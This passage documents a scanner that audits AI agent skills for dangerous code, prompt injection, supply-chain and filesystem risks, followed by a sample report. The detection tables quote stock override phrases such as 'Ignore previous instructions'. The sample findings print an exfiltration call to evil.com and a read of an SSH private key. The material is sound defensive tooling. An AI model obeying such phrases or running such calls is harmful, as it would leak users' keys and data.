| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |
### 2. Prompt Injection in SKILL.md
Scans SKILL.md and all `.md` reference files for:
| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |
### 3. Dependency Supply Chain
For skills with `requirements.txt`, `package.json`, or inline `pip install`:
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |
### 4. File System & Structure
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
## Audit Workflow
1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
- **✅ PASS** — No critical or high findings. Safe to install.
- **⚠️ WARN** — High/medium findings detected. Review manually before installing.
- **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance
## Reading the Report
```
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
```
## Advanced Usage
### Audit a Skill from Git Before Cloning
```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```
### CI/CD Integration
```yaml
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```
### Batch Audit
```bash
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```
## Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).
## Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, **don't install**. Ask the skill author for clarification.
<!-- MERGED INTO: security-audit on 2026-04-18 -->
<!-- Use `security-audit` instead. -->
Scanned 9/12/2026
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!